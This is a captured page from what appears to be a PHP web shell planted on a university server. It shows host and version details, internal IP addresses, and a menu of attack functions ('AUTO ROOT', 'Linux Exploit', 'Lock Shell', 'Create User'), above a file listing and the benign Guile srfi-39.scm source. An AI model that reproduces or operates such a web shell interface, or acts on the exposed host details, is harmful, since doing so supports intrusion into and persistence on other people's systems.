Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
share /
guile /
2.2 /
srfi /
[ HOME SHELL ]
Name
Size
Permission
Action
srfi-4
[ DIR ]
drwxr-xr-x
srfi-42
[ DIR ]
drwxr-xr-x
srfi-64
[ DIR ]
drwxr-xr-x
srfi-67
[ DIR ]
drwxr-xr-x
srfi-9
[ DIR ]
drwxr-xr-x
srfi-10.scm
2.76
KB
-rw-r--r--
srfi-111.scm
1.28
KB
-rw-r--r--
srfi-11.scm
5.38
KB
-rw-r--r--
srfi-13.scm
2.72
KB
-rw-r--r--
srfi-14.scm
2.33
KB
-rw-r--r--
srfi-16.scm
1.84
KB
-rw-r--r--
srfi-17.scm
6.42
KB
-rw-r--r--
srfi-18.scm
13.19
KB
-rw-r--r--
srfi-19.scm
54.91
KB
-rw-r--r--
srfi-1.scm
29.42
KB
-rw-r--r--
srfi-26.scm
2.58
KB
-rw-r--r--
srfi-27.scm
2.98
KB
-rw-r--r--
srfi-28.scm
1.17
KB
-rw-r--r--
srfi-2.scm
1.08
KB
-rw-r--r--
srfi-31.scm
1.36
KB
-rw-r--r--
srfi-34.scm
3.2
KB
-rw-r--r--
srfi-35.scm
12.08
KB
-rw-r--r--
srfi-37.scm
8.39
KB
-rw-r--r--
srfi-38.scm
8.19
KB
-rw-r--r--
srfi-39.scm
2.11
KB
-rw-r--r--
srfi-41.scm
19.91
KB
-rw-r--r--
srfi-42.scm
1.75
KB
-rw-r--r--
srfi-43.scm
39.07
KB
-rw-r--r--
srfi-45.scm
3.5
KB
-rw-r--r--
srfi-4.scm
4.99
KB
-rw-r--r--
srfi-60.scm
2.12
KB
-rw-r--r--
srfi-64.scm
2.51
KB
-rw-r--r--
srfi-67.scm
2.31
KB
-rw-r--r--
srfi-69.scm
12.7
KB
-rw-r--r--
srfi-6.scm
1.07
KB
-rw-r--r--
srfi-71.scm
10.08
KB
-rw-r--r--
srfi-88.scm
1.71
KB
-rw-r--r--
srfi-8.scm
1.08
KB
-rw-r--r--
srfi-98.scm
1.57
KB
-rw-r--r--
srfi-9.scm
13.41
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : srfi-39.scm
;;; srfi-39.scm --- Parameter objects ;; Copyright (C) 2004, 2005, 2006, 2008, 2011 Free Software Foundation, Inc. ;; ;; This library is free software; you can redistribute it and/or ;; modify it under the terms of the GNU Lesser General Public ;; License as published by the Free Software Foundation; either ;; version 3 of the License, or (at your option) any later version. ;; ;; This library is distributed in the hope that it will be useful, ;; but WITHOUT ANY WARRANTY; without even the implied warranty of ;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;; Lesser General Public License for more details. ;; ;; You should have received a copy of the GNU Lesser General Public ;; License along with this library; if not, write to the Free Software ;; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ;;; Author: Jose Antonio Ortega Ruiz <jao@gnu.org> ;;; Date: 2004-05-05 ;;; Commentary: ;; This is an implementation of SRFI-39 (Parameter objects). ;; ;; The implementation is based on Guile's fluid objects, and is, therefore, ;; thread-safe (parameters are thread-local). ;; ;; In addition to the forms defined in SRFI-39 (`make-parameter', ;; `parameterize'), a new procedure `with-parameters*' is provided. ;; This procedures is analogous to `with-fluids*' but taking as first ;; argument a list of parameter objects instead of a list of fluids. ;; ;;; Code: (define-module (srfi srfi-39) ;; helper procedure not in srfi-39. #:export (with-parameters*) #:re-export (make-parameter parameterize current-input-port current-output-port current-error-port)) (cond-expand-provide (current-module) '(srfi-39)) (define (with-parameters* params values thunk) (let more ((params params) (values values) (fluids '()) ;; fluids from each of PARAMS (convs '())) ;; VALUES with conversion proc applied (if (null? params) (with-fluids* fluids convs thunk) (more (cdr params) (cdr values) (cons (parameter-fluid (car params)) fluids) (cons ((parameter-converter (car params)) (car values)) convs)))))
Close